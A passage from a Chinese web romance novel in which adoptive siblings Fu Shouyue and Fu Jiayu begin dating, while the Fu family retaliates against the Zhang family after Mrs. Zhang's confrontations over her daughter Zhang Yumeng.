“你不能理解那种心情。” 傅守越右手微微颤抖,几次拿起放下,最终还是克制不住的揉了揉她毛茸茸的发梢。 “你生在高塔,不回去关注泥潭里面的虫蚁如何生活,你将我从泥潭里面拉出来,无异于给了我一次新生。” “我本该匍匐在地仰望你,却偏偏生出见不得人的心思,就像一无所有的乞丐爱慕高高在上的公主,可笑可悲。” “你明明是妹妹,我却要没日没夜想着你才能入睡,在梦里你不是妹妹是爱人……” “如果一辈子能只做你的哥哥,我会守着你护着你,将我所有的情感藏在心底,但是……傅嘉誉,我是你哥哥,但我更是傅守越,哥哥能护着你,但傅守越是个混蛋……” 傅嘉誉听着他这些话鼻头发酸,眼眶愈发红了。 “不是这样的。” 她拉拽住他的衣袖不肯放开。 “是哥哥也是傅守越,哥哥为什么不可以是爱人。” “我是生在高塔,可我能在高塔上看到在地面的你,你都说我生在高塔,那我为什么不能像长发公主那样将我的一头长发从窗户放下带你离开泥潭到我身边,你和我都站在高塔,你不在泥潭。” “你说你是乞丐,可你怎么知道在我心里哥哥就不是最英武最重要的骑士家人。” “你说你会守着我护着我,那我又何尝不想守着你护着你?” “你说你是哥哥也是傅守越,那我是妹妹也是傅嘉誉,你爱着我的时候我也在爱着你啊。” 第396章 只跟你亲过 “你又怎么知道当年你偷亲我的时候我没有过同样的想法。” “如果你说我生来就高高在上,我的出身我无法选择,但是你已经为了我爬到同样的高度。” “我们这样的感情放到古代,那就是青梅竹马两小无猜,那是天造地设的一对。” “哥哥,我说的才是真理。” 她一字一句说的认真,甚至提到这些时眼睛一眨不眨的望着傅守越。 “你为这段感情挣扎的时候,我何尝不是在挣扎。” “可我就是忘不掉你,就是不能接受没有你的未来,我就是要有你在身边,我就是要哥哥变成爱人,我就是要跟傅守越在一起。” 她的回应掷地有声,坚定认真。 好像也同时在回应多年前那个慌乱害怕躲藏自己心意的傅守越。 “所以哥哥,不要再跑了,就留在我身边好吗。” 傅守越低头看她,却没从她眼底看出半分厌恶。 傅嘉誉能感受到他此刻试探的眼神,她从不知道傅守越心里会想到那样多的东西。 可偏偏傅守越没有说错。 她可以如此简单的说爱,但是傅守越不行。 因为他们生来不在一个高度,他必须要拼尽全力到达这个高度才能护住她才配站在她身边。 她心口有些发疼,呼吸都跟着浅了几分,她有些不忍的上前一步拽住傅守越的衣袖扯了扯,“哥哥,我是你喜欢你的。” 傅嘉誉手勾弄着他的手指声音试探着开口,“傅守越,我们要不要试一试。” 傅守越呼吸一滞:“你说的试一试是指……” 傅嘉誉给出肯定的回应:“我们交往,好吗。” 傅守越唇抿成一条直线,此刻他能感受到自己胸腔传来的热意,那种感觉好像是心窝藏了一池春水在此刻即将淹没自己。 他恍惚了片刻,眼窝深邃声音有些许沙哑,“那我现在是你的男朋友?” 傅嘉誉耳朵发红没说话,但已经是默认了,傅守越却一手勾住她的腰把人往怀里揽,“我是你的男朋友……”他此刻一遍遍的重复着,重新将傅嘉誉抱进怀中都无法描述自己此刻的心情。 他没想过傅嘉誉会这样快的承认自己。 男朋友,女朋友,恋人,爱人…… 她只是给了他个名分他却已经想好要定制婚纱戒指要将她套牢护在身边一辈子…… “那作为你的男朋友,我们可不可以亲吻。”他礼貌询问。 傅嘉誉整张脸都红了。 “这种事你为什么要问我……” “所以可以吗。”傅守越哑着嗓子询问。 傅嘉誉很想瞪他,但她似乎也觉得自己现在的眼神不会有什么威慑力,只能双手勾住他的脖子将人往下拉避着她俯身低头,她就抬头直接堵住他的唇。 她不会接吻,唇瓣贴在一起便没了别的动作,这样青涩的举动却是逗笑了傅守越。 “好可爱。”他呢喃了一句,傅嘉誉却听出来傅守越好像在嘲笑自己没有经验,她有些恼了。正要推开他就被男人堵住唇舌。 唇舌交缠尝到她舌尖酸酸甜甜的味道,她好像吃过草莓糖,整个人都是甜甜的。鼻息间都是这味道,清冽又甜腻的水果香,像是她的人一样,诱人咬一口剥皮吞吃入腹。 他吻的愈发用力,两人周围的空气仿佛在此刻都变得黏糊暧昧。 “真的从来没有谈过恋爱?我真的是你第一个?如果我是第一个……你为什么这么会接吻。” 她质问。 她不会接吻,青涩的很,傅守越却是攻城略地吻到她整个人身体发软。 只要一想到傅守越会像对待自己一样对待其它女人,胸口就开始止不住的发疼。 傅守越拨弄着她因接吻而凌乱的发丝:“我说过,我的梦里都是你,想的梦的多了,已经不知道在梦中吻过多少次,早就无师自通了。” 傅嘉誉脸登时红了。 稍稍一想就知道傅守越大概梦到了些什么,她忍不住手握成拳想锤他一下,却又怕锤疼她到头来心疼的是自己,只能故作凶狠的瞪他一眼。 别扭的样子,一如既往的可爱。 傅守越低笑一声,直接将人抱起来放到沙发上,傅嘉誉唔了一声由他抱着,自己则像是洋娃娃挂件一样挂在他身上。 “嘉誉,你已经给我名分了对吗。”他又问。 亲都亲了,现在问这些? 傅嘉誉闷闷的嗯了一声,然后手握住他的,用行动证明,自己就是选择了他。 傅守越垂眸,目光落在她的脸上,然后缓缓开口:“那我可以问你一个问题吗。” “你问。” 她没什么可怕的。 “你真的跟温然接过吻吗。” 她一问这个傅嘉誉脸都红透了,直接整个人埋进他怀里不吭声。 这样的举动无疑就是回答了。 傅守越忍不住笑,她看他这副嚣张模样正要哼一声,傅守越却做出另一幅模样。 “嘉誉,他真的亲过你吗”傅守越追问,他看着既可怜又无辜。 他平日里总是温柔儒雅,偶尔会一直跟在她身后不达目的决不罢休,什么时候露出这种表情,这种让她看了都心尖发痒想要自我检讨是不是做的太过分了真的欺负了他的错觉。 傅嘉誉捂脸,“没亲过没亲过没亲过,只跟你亲过!” 她是真的受不了傅守越这样,本来今天就够心疼他的,结果来在这里演,偏偏知道他是演的还是克制不住自己的心情,全盘托出了。 傅守越终于勾起唇,眼尾微微上扬,手桎梏着将人扣在怀里不放人离开,方才低头在她唇上蜻蜓点水的轻轻一吻,“所以我们才是唯一。” 傅嘉誉“唔”了一声,被他亲了一下脸颊绯红。 傅守越伸手揉着她的头,傅嘉誉深吸一口气:“你亲够了就先走吧,明天再来接我去约会好不好。”? 刚才还亲亲抱抱呢,怎么现在就开始赶人了? 傅守越有些无奈,傅嘉誉抬手捂着自己发红着脸小声解释:“哥哥变恋人,有点进展太快了,我要适应一下。” 第397章 把人丢出去 傅守越忍不住在她耳边轻笑出声:“那嘉誉明天想去哪里玩,带你出国旅游度假?或者在附近周边游,看电影?” “不能出国,还没放假呢,看电影吧。” 傅嘉誉说:“以前只跟哥哥看过电影,这次想试试跟男朋友看电影。” 虽然人还是那个人,但是身份却已经变了。 她可以光明正大的去触碰傅守越,可以牵手可以拥抱可以接吻。 真的……很好。 “好,你今天好好休息,明天我来接你。”傅守越自然应下。 傅嘉誉嗯嗯的点头亲自送走傅守越,待关上门方才捂着胸口,掌心感受到胸口处心脏因为那个吻飞速的跳动。 她跳到床上翻来翻去,傅守越上了车才朗声笑起来,抬手之间抚摸着唇瓣有些留恋回味,回响到小女朋友又是气愤又是害羞却还不得不压着气去哄他的模样忍不住笑起来。 “真可爱啊。”傅守越舔着唇,“唇瓣真软。”他有点不想做人十分禽兽道,“舌头更软。” 傅守越长这么大,这还是头一回这么佩服江行舟那二世祖,那一通话简直打通了他的任督二脉! 绿茶多好啊,茶点好啊,他妹妹也吃这一套,这就去买点绿茶备上。 傅守越心情大好的驱车离开,并吩咐助理尽快把傅嘉誉对面那栋公寓买下来,以方便他以后随时串门恋爱。 张母说到做到,第二天大亮就让人备好了礼物先去傅家转一遭,打算把这事好好跟傅家人掰扯掰扯。 张母先去拜访了傅家,傅老爷子和傅长海都在傅家。 他们昨晚早早休息了,也不知道网络上热搜那事儿,这张母突然的到访倒是让二人都有些摸不清状况,却还是将人请进来。 张母跟着寒暄几句就把话引到正题上,“傅老,傅先生,我知道你们是这圈子里有点名头的人,这次的事情我们雨萌做的欠考虑了,但终归算是小事一桩,我们这做大人的何必把小事闹大了让别人看笑话,你们说是不是。” 傅老爷子和傅长海皱眉还未说话张母便觉得自己格外占理,“我是觉得你们傅家人是讲道理的人家所以才上门,也是想着让二位好好教养孩子,不要让自家孩子随随便便的就依仗家族势力在外面欺压别人,这次欺压的是我们雨萌,我们是能忍下来,但下次若是欺压了别的什么人,可不一定是这么简单就能略过去的,你们说是不是这么个理。” 两人不清楚发生了什么,但是听懂张母说他们傅嘉誉在外嚣张跋扈欺负了人?这怎么可能! 傅嘉誉是他们看着长大的,自小乖巧懂事,就算性子骄纵但也是站在道德制高点不会故意欺负人,这摆明了就是胡说八道了。 傅长海面上已经隐有怒意。 傅长海加重语气,“我女儿是什么样的人我清楚得很,我女儿绝不是那种主动欺负人的骄纵千金。还请张夫人说话注意些的好。” 张母冷笑了一声摆起了谱,“呦,您这说的什么话?您清楚您女儿是什么人难道我不清楚我女儿的为人?你女儿是不会欺负人,可倒是会用强权压人呢,仗着自己家有权有势因为一点小事上纲上线毁人一辈子,这就是您说的不是骄纵千金?” 傅老爷子面色冷下来,直想让人把她丢出去,不等傅老爷子发话傅京礼冰冷的嗓音已由远及近逐渐传来。 “我们傅家有权有势为什么要忍气吞声?” 傅京礼是临时落了文件在家中,助理不清楚他放在哪里所以才专程回来一趟,岂料这才回来就听见张母大放厥词,一个只能在犄角旮旯装有钱人暴发户的家族还在这里装上了?谁给她的脸啊。 张母这么大年纪了也没被小辈忤逆过,仗着自己年纪大了自诩是长辈,管别人是谁家继承人谁家嫡长子,照样不放眼里,现在傅京礼说了这话张母那火气立刻涌上来。 “看看!看看你们傅家教养出来的后辈!” 傅京礼微微扬眉,他按了按眉心似乎被她吵得心情很不痛快,张母看他这副模样忍耐不得想继续嚷嚷。 傅京礼冷笑,“你以为这是什么地方轮得到你来这里撒野。” 傅京礼扫了眼助理,“丢出去。” 跟这种人多说一句话都是多费口舌。 张母整个人被这变故吓到了,她是来上门讨说法的,怎么还能被人丢出去?这事儿要传出去指不定多少人背地里要嘲讽她了!傅京礼怎么还不按照套路来呢! “我是长辈!我是长辈!” 傅京礼面色冰冷,“你是哪家的长辈?跟我有什么关系?把人丢出去。” 张母嫁进张家一直拿自己当贵妇,身条保养的倒也适当,平日里出门在外也算是优雅,现在却被助理拽着衣领强硬往外赶,张母丢不起这个人不停大声嚷嚷指责傅京礼没有家教,傅京礼面色更冷,助理默不作声往张母嘴里塞了块布,这下可算清净了。 张家的主母被人丢垃圾一样丢到地上,脸上妆都花了大半,还因为剧烈的挣扎头发乱作一团狼狈至极,从始至终傅长海都不发一言只唇角那抹不屑刺痛张母的眼。 张母在门外气愤的不肯爬起来离开,“你们傅家就是这么仗势欺人的!” 傅京礼取了文件正要上车听到这话一步一步走到她身前,也不顾这人是不是真大自己多少岁算作长辈,他俯面无表情的看着张母,声音冰冷,“再敢来傅家胡闹我就让你们张家知道什么是真正的仗势欺人。” 傅京礼三十岁的年纪,高中时期就被傅老爷子着手培养接手负责傅氏的一些合作项目,大学毕业后立刻走马上任常年处在上位者的位置,傅氏跟上面也有各种合作,约见的不仅是商圈的人更多是国家级领导人,那手段气场又能是普通人能杠的上的? 张母被吓得开始哆嗦,他眸色冰冷命令助理,“把人丢远些,吩咐物业管理,不许这人再来别墅区,若是这人再来就直接报警。” 第398章 你保不住张氏 傅京礼还真是雷霆手段。 谁要听你啰嗦那么多? 都说黎云笙人阴狠狡诈冰冷无情,却都不晓得傅家傅京礼才是真的心狠。 傅京礼年幼时就因为傅家研究的药物触及一些人的利益被绑架,那段时日受过不少折磨,等被救回来已经成了这性子。 傅京礼虽然心狠却是最看重亲人朋友,傅嘉誉就是他最疼爱的妹妹, 像张雨萌设计傅嘉誉傅京礼能放过?他定然要让张雨萌知道什么事人间险恶。 张雨萌是个蠢的偏还是个倒霉的。 张雨萌对傅嘉誉的利用本来还在傅京礼接受范围内,只小小报复敲打。傅京礼的报复本也就到此为止,怪只怪张母自作聪明想来傅家讨公道。 张雨萌整出那么多幺蛾子还能继续在娱乐圈待着不就是仰仗张家?如果张家被毁了,她还能有什么可依靠的? 容浔在处理其它工作,傅京礼也没打算找他。 傅京礼眸色冰冷,时不时敲打表盘:“赵助理,到公司后联系林先生华庭一叙。” 助理立刻应下将这件事记在心里:“十点四十分我们跟王总约好见面,中午苏小姐约您在芙蓉堂谈事,下午三点约了江医生在医院洽谈合作事宜,跟林先生见面的时间大概只能定在今天六点以后。” 傅京礼皱眉:“联系江惊蛰六点后他有没有手术,如果没有跟他把见面时间改到六点以后,跟林先生的见面时间定到下午三点。” 助理微笑应下立刻电话联系江惊蛰的助理询问江惊蛰的行程。 助理与江惊蛰的助理改好见面时间这才将新的行程表报给傅京礼。 到了傅氏,傅京礼带着助理正要进电梯却有一西装革履容貌明朗的青年男人疾行而来拦住二人。 “傅总,我是张氏张雨泽,张雨萌是我妹妹。”张雨泽自报家门。 傅京礼听到张字面色更冷几分。 “不好意思,我们傅总接下来有个紧急会议,还请这位先生不要挡路。”助理虽是面带微笑可那脸上的笑意并不达眼底。 张雨泽看他们的表情心里一惊,这分明是已经知道张家做得那些事了! “傅总,我只需要一点时间为我妹妹的所作所为道歉,希望傅总不要因为我妹妹一时的冲动莽撞牵连到张家,还请傅总放过张家。” 张雨泽咬牙还是恳求出声:“给傅小姐造成的伤害我一定会竭尽所能对傅小姐进行赔偿,还请傅总给我这个机会。” 张家倒不全是傻子,还有这么个聪明的知道利害关系。 傅京礼眸中冷意褪去些许,他低头看了眼时间:“你只有五分钟时间说清楚你想如何补偿。” 傅京礼踏进电梯,张雨泽急忙跟在二人身后却还是有条不紊道:“首先我会用我的公司官博对此事对傅小姐聊表歉意,我会拿出我公司内百分之三的股份赠予傅小姐,傅小姐喜欢温栩栩以后为了让傅小姐不再劳累我会争取所有跟温栩栩小姐有关的节目录制的门票演唱会门票以及剧组探班机会,傅小姐想做应援我也会联系最好的厂商为傅小姐服务并为之买单。” 张雨泽一本正经十分严肃的提到这些赔偿,助理脸上的表情差点没绷住笑出来。 还真是都知道傅嘉誉是温栩栩粉丝了,这种赔偿方法都出来了,也是不容易。 电梯已经到顶层,傅京礼没给回话,张雨泽紧跟两人后进了办公室,傅京礼终于给了他个正眼:“算是有诚意。” 其一以官博道歉是为傅嘉誉正名,其二赠送股份是赔偿的精神损失费,其三才是戳中傅京礼让他能正眼看他的最重要因素,他也觉得傅嘉誉自己抢票买票应援太累,现在有了现成的苦力能不让傅嘉誉那么辛苦,这人是个懂事聪明会来事的。 傅京礼双手交叉眸色淡漠的看着他:“如果你在你母亲来傅家讨说法前说这些或许我真能放过张家,不过现在……”他眸中一片冰冷多了几分狠意:“你做任何事都保不住张家。” 张雨泽惊了。 他是真没想到自己母亲能疯到去傅家找茬!这不是凑上去送人头吗!稍微调查一下就知道傅京礼最在乎亲人,招惹了人家妹妹还不够还去人家里找事! 这可是傅家啊!不是什么随随便便的小家族! 张雨泽只觉得无地自容。 傅京礼扫了眼表盘:“作为张家嫡系继承人,我记得你现在管理的公司是你成年后自己建立的公司并不属于张氏。我不会动你的公司这是我对你最大的让步。” 张雨泽还想争取一下,傅京礼道:“即使我不动张家你也不会是张家的继承人,张氏的企业迟早会易主。” 张雨泽听到这里顿时手脚冰凉,张雨泽能这么迅速做出道歉并赔偿戳中傅京礼的人当然是聪明人。 张氏的企业迟早会易主,要么是公司已经被其他股东把控,要么就是父亲有了别的打算。 “看来你听懂了。”傅京礼难得发善心:“我不动你的公司,但张氏你绝保不住。” 张雨泽沉默许久,还没从那两种可能中清醒过来,哑着嗓子道:“那傅总能否原谅我妹妹放我妹妹一条生路?” 傅京礼眸光顿时再度溢满冷意:“我给你五分钟时间让你说赔偿事宜不是让你为张雨萌求情。你以为我为什么要毁掉张氏?如果今天你的母亲没有找到傅家讨公道我也没那时间陪你们张氏玩这种小游戏,但你的妹妹和你的母亲这么胆大妄为不就是仰仗身后的张氏?我就是要毁掉她们的依仗教教她们怎么做人。” 果然……果然是这样…… 张雨泽半晌都说不出话,他眼神有些闪烁却听傅京礼淡淡道:“时间到了,张先生可以离开了。” 张雨泽面露难堪,助理将人送出去,还是做了个好人给他提了个醒:“张先生,我们傅总已经明示暗示你几次,他要毁掉的是她们的依仗,如果张氏被毁你的母亲和你的妹妹求你接济……还请张先生不要给予任何帮助。” 第399章 被你亲了……我很高兴 张雨泽没有立刻答应,助理提点他:“没有人教她们如何做人我们傅总便多费些时间教她们什么事该做什么事不该做。这势必是要吃些苦头。张先生若实在是想帮只要按时给您的父母最低的抚养金额就够了,至于您的妹妹……您对她没有任何赡养的义务,您能明白我的意思吗。” 张雨泽有些不忍:“我妹妹现在在圈内风评并不好,我不管她她就真的没活路了,傅总也是为人兄长的,他应该明白我的心情才是。” 傅京礼疼爱傅嘉誉,张雨泽自然也疼爱张雨萌,也正因如此他才想为傅嘉誉竭力争取一下。 助理声音拔高几分:“傅小姐生在傅家却为人亲厚从不骄纵待人因为家室去欺人辱人。而张小姐只因生在张家便如此耀武扬威,她也该知道在这A市谁比谁金贵?张家不会教人就只能由外人来教。”助理仍是面带微笑:“我言尽于此,张先生可要想清楚不要做了错事。” 说白了就是傅京礼要搞张雨泽的亲生父母和亲妹妹却不让张雨泽插手,如果插手接济他也要完蛋。 张雨泽谢过助理有些神魂落魄的离开傅氏。 他靠在车座上重重的呼出口浊气,思来想去也只能先听傅京礼的话保住自己的公司。 只能先这样等日后再带人登门致歉恳求傅京礼的原谅,只要他不倒以后总还能起来。 张雨泽想清楚利害关系让助理登陆公司官方微博将一早撰写好的致歉信发到微博上,并立刻让律师拟好股份转让书发到傅京礼私人邮箱等傅京礼确定好时间再签约,做好这些事后才微博上私信傅嘉誉说清楚后面的票钱以及应援都交由他来负责,做完这些才算是松一口气。 可心口结结实实压了一座大山,喘口气就发堵。 他是不愿深想,但一早创立自己的公司能参透这些从傅京礼手下躲过一劫的人稍微动动脑子就知道张氏集团大部分股份都在他们张氏人手中,不可能是易主到外人手中,若真的易主那应当是会转到张家其他人手中。 如果没猜错,一定是父亲有婚外情私生子且希望私生子继承张氏。 张雨泽眼眸中多了几分狠辣,他思虑片刻直接联系人打算抛售张氏的股份,并联系与他关系不错的叔伯兄弟尽快将张氏的股份尽数抛了。 他不介意这时帮傅京礼一把让自家的公司快些倒闭好让他看到自己投诚的心思。 公司不能由他继承那私生子也别想落到任何好处。 …… 傅氏与张氏的交锋没人知道,网络上的人热火朝天讨论张雨萌的哥哥公开对傅嘉誉道歉这件事,多是说张雨泽识大体没真傻到跟傅氏杠上,还有一些学金融的特地分析了张氏和傅氏,他是这么形容两家公司的,张家对上傅氏无异于以卵击石自取灭亡 。 也正如他所说,张氏现在已经走在灭亡的道路上了。 傅嘉誉因为跟傅守越那事儿激动的晚上都没怎么合眼,好在第二天也没课,谁知大早上的就被傅守越的早起“爱心”催命电话吵醒。 小公主非常生气并很想怒斥傅守越,岂料还没等她生气,就听傅守越声音里带着失落:“你是后悔了吗。” 傅嘉誉整个人都傻了,却又听傅守越缓缓道:“你是考虑很久还是决定抛弃我吗,我知道是我不够好……我不怪你……” 傅嘉誉头更疼了,那点暴脾气被他磨没了:“不是,我没想抛弃你。” 因为傅守越的亲吻激动的一晚上没睡的可是自己哎。 傅嘉誉心道我如果不说清楚指不定傅守越又要想东想西搞得我跟渣女一样。 傅嘉誉深吸一口气:“被你亲了……我很高兴,所以睡得太晚了。” 傅守越显然也愣了,没料到是这么一回事,他眉梢带喜色:“我也很高兴你肯让我亲。” 傅嘉誉唔了一声脸红了些许嘟哝道:“我好困。” 傅守越内心忍不住禽兽了下觉得自己亲完就不该走,如果绿茶劲儿再大一些说不定傅嘉誉就心软让她留下来,这样现在就能看到傅嘉誉撒娇的可爱模样了。 傅守越心里颇有些懊恼,忍不住发信息催促助理快些搞定傅嘉誉对面那户人家把公寓买下来。 傅守越声音软下来:“是我的错,是我一想到我们交往了就总想第一时间看到你,所以才忍不住打电话想跟你约会。” “嘉誉你好好休息,我们约下午见面好不好?如果不见你我会很想你。”傅守越心道今天一定磨到很晚然后赖在那里,进了门的男人可就不那么好赶了。 傅嘉誉答应了才挂断电话,她是真的困,没多久就睡过去一觉睡到晌午觉察出饿来。 之前傅守越做的那些菜一点没剩,全进了江行舟的肚子,傅嘉誉歇了热剩菜的心思套上衣服出门下楼觅食。 她租住的是A大对面的公寓楼,附近的饭店饰品店还挺多,不过最绝的还是A大内部那条食品街,开在A大校园内,各类吃食都有,有的味道更是一绝。 傅嘉誉心想反正都出门下楼了,多走几步去校园内找食去,边走边记好哪家店好吃等到傅守越来了带他也尝尝。 傅嘉誉歪头想了下,那不如现在就把傅守越叫过来一起在这附近吃午饭?反正都是恋人了。 傅嘉誉喜滋滋的给傅守越打电话约人过来,她就在小摊这边实在是饿得很了要了小份关东煮水萝卜和小丸子,才付了钱接过装满汤水的小盒子就被人推的踉跄。 小丸子零零散散掉落在地上,热烫的汤水浇到小腿上烫红了一片。 “傅嘉誉你们傅家人这么心狠手辣是不会有好下场的!” 女人怒骂的声音在耳边响起,那种扑面而来的狰狞恨意令她心底的怒意“腾”的冒起来。 她转身一把抓住女人挥舞过来的手臂:“你是不是有什么毛病。” 张母往后扯着自己的手臂,傅嘉誉饿着肚子心情很不好,加之小腿上传来火辣辣的疼痛,张母嘴里还叫嚷着傅家不会有好下场这种让她听了就烦躁的话。 第400章 诬陷 “闭嘴”傅嘉誉怒道。 她直截了当让卖关东煮的小哥又多盛了一份热汤全都浇到张母小腿上,以牙还牙烫了张母一通,张母疼的身子歪倒直接坐到地上疼的呲牙咧嘴。 傅嘉誉是傅守越那腹黑带大的,自小出什么事都拦在傅嘉誉身前,他做事手段傅嘉誉也清楚些,等傅守越走后她倒也学会了几分,自是不会让自己被人平白欺负了去。 “再来一份萝卜,福袋,蔬菜包,再多加一份魔芋。”傅嘉誉点点摊主小哥的桌沿冲已经目瞪口呆的小哥说了句,倒也不顾周围人探寻打量的目光,自顾自的低头咬了口萝卜这才觉得重新活过来了。 张母虽然人老了,可到底是经常去美容院做保养的人,那皮肤还是娇嫩的,让那一份热汤浇到小腿上哪可能不疼。 她只觉得傅家一个两个都克她,傅京礼克她傅嘉誉也克她。 张母疼的一时半会儿想不起来找傅嘉誉麻烦,所有注意力都被腿上的疼痛夺去了,只这时还不忘记抬头死死瞪视傅嘉誉发泄她内心的恨意。 傅嘉誉一份萝卜已经吃完了,正在咬蔬菜包,她坐在小摊旁备好让学生休息的长椅上,很平静的回望面前的狼狈女人:“我泼回去了,有什么话你可以说了。” 张母被噎了下,半点没缓过劲儿。 张母支支吾吾半天,傅嘉誉看她的眼神愈发奇怪,这个点出来寻觅小吃的学生很多,人来人往也亏得张母能拉下这张老脸坐在地上耍无赖,不知情的还真当傅嘉誉怎么她了,也有些猜是不是傅嘉誉被人碰瓷了。 张母作为贵妇,也是头回做这事儿也觉得丢尽脸面,但只要一想是为了女儿便能豁出去在这里恶心傅嘉誉。 张母眼瞅着人越来越多,就要作妖,傅嘉誉已经解决了蔬菜包和福袋,最后一口魔芋也被送进嘴里。 她将盒子和筷子丢进垃圾桶就要迈腿往前走懒得理张母了。 张母见此立刻抱住傅嘉誉的小腿,正碰到她被烫红的伤处,傅嘉誉疼的眉头皱起将人踹开,张母这才哎呦一声捂着心口惨叫一声:“傅家欺负人了啊!傅家小姐就这么在校园里随意欺负人了!大家快来看看啊,都是成年人了就因为几句话不痛快抬脚就踹我这么大年纪的老人,傅家就是这么教孩子的!” 围观的人越来越多,指指点点议论纷纷,时不时有人斜眼看傅嘉誉有跟人交头接耳嬉笑嘲讽,更有甚者对着傅嘉誉和张母拍摄视频想发到网络上赚点点击。 张母也不等傅嘉誉询问说别的,又是痛心疾首道:“傅小姐,我知道我女儿是惹了你不痛快,可你实在不该赶尽杀绝让我女儿没办法在圈子里混啊。” “你们傅家是家大业大你是傅家最受宠的,可我们女儿也是被我们宠到大的,哪怕这次是不小心做了些错事但也不至于让你们傅家这么设计让她在圈子里寸步难行!傅小姐!傅小姐你一定要给我女儿一条活路啊!”张母也不提自己女儿的名字,就让周围人觉得傅嘉誉仗势欺人给她把这高帽戴的稳稳的摘都摘不下来。 傅嘉誉面上掠过几分了然,似乎猜到她是为什么而来了。 她觉得十分嘲讽且恶心人。 “张雨萌是你女儿吧。”傅嘉誉直接点破说出张雨萌的大名,这话一出口围观的人里面顿时有人脸色变了变看向张母的眼神多了几分鄙夷作呕。 “怎么了怎么了?那张雨萌怎么了?”有人看同伴变了脸色忙问原因。 变脸的那位戴眼镜的女生书包上别着图案是杜佳安的挂件,一看就是杜佳安的忠实铁粉。 杜佳安就是曾经被张雨萌在训练营设计过的成员之一,刚巧是这个女生的偶像。 戴眼镜的女生刻薄的开口:“张雨萌怎么了?不知道的人可一定要听我好好说道说道。” “那张雨萌啊,就是个绿茶女婊!录制节目时在团内看着跟所有人关系都很好,背地里却用小号一直点赞同期成员的黑料还花钱找公众号买其他成员黑料多次诬陷同期女成员,甚至撒谎扯出同期女学员陪睡的料就是想要毁掉她们。” 戴眼镜的女生越说越激动:“一个二十出头的女人能恶毒道这份儿上真让人听到她名字就让人觉得恶心!” 这戴眼镜的女生显然是了解很多事,作为杜佳安的粉丝,一开始因为杜佳安她爱屋及乌也支持张雨萌,可张雨萌在网络上黑的最多的就是杜佳安和温栩栩,黑她爱豆啊!她自然不能忍,所以张雨萌出点新闻她自然是要看的。 张母怒吼着:“你给我闭嘴!我们雨萌不是这样的人!都是你们在诬陷她!” 张母这会儿已经忘了去找傅嘉誉麻烦了,扑过去要去堵住那女生的嘴,戴眼镜的女生恨恨的踹了她一脚只把人踹到地上,完全不留情:“阿姨,你冲上来要打我,我踹你可是正当防卫。” 戴眼镜女生扶了扶下移的眼睛冷笑一声说出的话更是戳她心窝子:“刚才这位老阿姨说傅家小姐欺负她女儿,简直是没道理。如果我没猜错这位就是张雨萌当初的一个大粉。傅小姐为什么退坑?还不是那张雨萌自己作的不把粉丝当人看,把粉丝送的东西都丢进垃圾桶还说粉丝都是没用的东西?这种狼心狗肺的活该凉。” “说什么傅家小姐欺负你女儿张雨萌,麻烦你擦擦眼睛好好看看到底是谁欺负谁,是你女儿欺负了傅家小姐好几年凭什么还不许傅家小姐反击报复回去!张雨萌遭受再多都是她活该!” 周围的学生一阵唏嘘,从议论傅嘉誉变成议论张雨萌,说出口的话都是讥讽。 傅嘉誉手揣进兜里凉凉的瞥了张母一眼:“张阿姨,你女儿是什么样的人你也听的很清楚。” “我本来也不想跟她撕破脸,但怪只怪张雨萌自己主动招惹我碰瓷我还要影响温栩栩。” 第401章 疼不疼 我没那个兴趣脱粉回踩去报复,如果你女儿真的遭到了报复那可能只老天都看不下去了,你有这个时间来找我不如去佛堂拜佛更有用。” 傅嘉誉抬脚就要走,张母激动的扑过去再次抱住傅嘉誉的腿不许她走:“不行!你不能走!雨萌说她得罪了你在圈内混不下去了,你必须原谅她!” “你不是她的粉丝吗!你不能随便脱粉的!你继续喜欢她,你是傅家小姐你喜欢她给她资源她一定能重新站起来的!”张母抓狂的吼着。 傅嘉誉被气笑了顿觉张家全都是脑子有病的没一个正常人。 她忍无可忍怒道:“张雨萌都要犯法了我还脑残到去粉她给她资源?我没瞎也没疯!” “你既然曾经是她的粉丝那就该一直是她的粉丝,雨萌还那么小,她还是个孩子,你怎么能不允许她犯错呢!她会改正的,你该陪着她继续当她的粉丝陪着她一点点改正这才是粉丝该做的!”张母义正言辞的咆哮越喊越觉得自己有理。 傅嘉誉胸口剧烈起伏:“二十多岁了还是个孩子,你女儿是什么绝世巨婴?我不是她妈,我没义务教养她陪着她变成一个好人,她已经把我所有的耐心耗光了,张太太,如果你知道什么是自尊什么事礼义廉耻就请你现在立刻离开A大不要再做这些无用功在这里出丑。” 张母不依不饶哭喊着让傅嘉誉放过张雨萌。 分明是张雨萌得罪了圈内太多人才被群嘲,这跟傅嘉誉又有什么关系?不过是张母找安慰觉得自己女儿没错,错的全都是傅嘉誉这个粉丝。 好像傅嘉誉不脱粉张雨萌做的那些事就不会被发现她也不会被针对一样,简直不讲道理。 张母觉得反正已经丢了这个脸了,索性这脸也不要了,只要能让傅家放过张雨萌他也算没白来。 张母在地上翻腾打滚就等着傅嘉誉说软话,周围看戏的人越来越多,那戴眼镜的女生看她的眼神中呕意更多,手机不停拍着张母那撒泼打滚的丑态。 傅嘉誉一如既往面无表情,对这种人她不会同情更不会觉得可怜,只余厌恶。 她低头翻看着手机,早前就给傅守越发了微信定位,看着那红点越来越接近,她唇角扬起一抹微笑弧度。 手机上显示了男人打来的号码,傅嘉誉接了扫视了下四周,熙熙攘攘的人流将她整个人围在正中间,密不透风。 “你有没有看到一群人围在一起?”傅嘉誉暗示了一句。 两人极有默契,傅守越心里发紧:“等我。” 电话被挂断,张母又开始发疯抓狂:“你给谁打电话了!是不是给你大哥打电话了!你为什么要跟你大哥告状!为什么不能放过我女儿!” 傅守越已经自外围进了内圈,才进去就瞥见张母身上沾满草屑十分狼狈眼睛通红的朝着傅嘉誉怒喝发疯的叫嚷着。 傅嘉誉就平静的坐在长椅上,她曲起一条腿手中捏着手机乖巧的坐在那里似乎根本没有将张母的话放进心里。 似乎是察觉到什么,她抬眸,那双本来并无什么感情的小鹿眼像是闪起了光亮起来,好像眼睛都跟着弯了弯。 傅守越喉头发紧,这一刻也不知是该恼还是该心疼。 他就晚来这么小会儿小姑娘就被疯婆子欺负了。 傅守越走到她身边牵起她的手揉捏了下,傅嘉誉一直就不想跟张母浪费口舌,只等着傅守越来把人解决了。 她指着张母十分直接:“她欺负我。” 她想都不想直接道:“她说我欺负她女儿张雨萌所以上门来找茬。” 傅守越眉头皱起,面色十分难看,张家跟傅家没什么合作,而傅守越多年前出国念书,这老一辈的跟他是没怎么碰过面自然认不出傅守越是傅长海的养子。 张母只当他是个小辈,心道这个总不该也跟傅京礼一样。 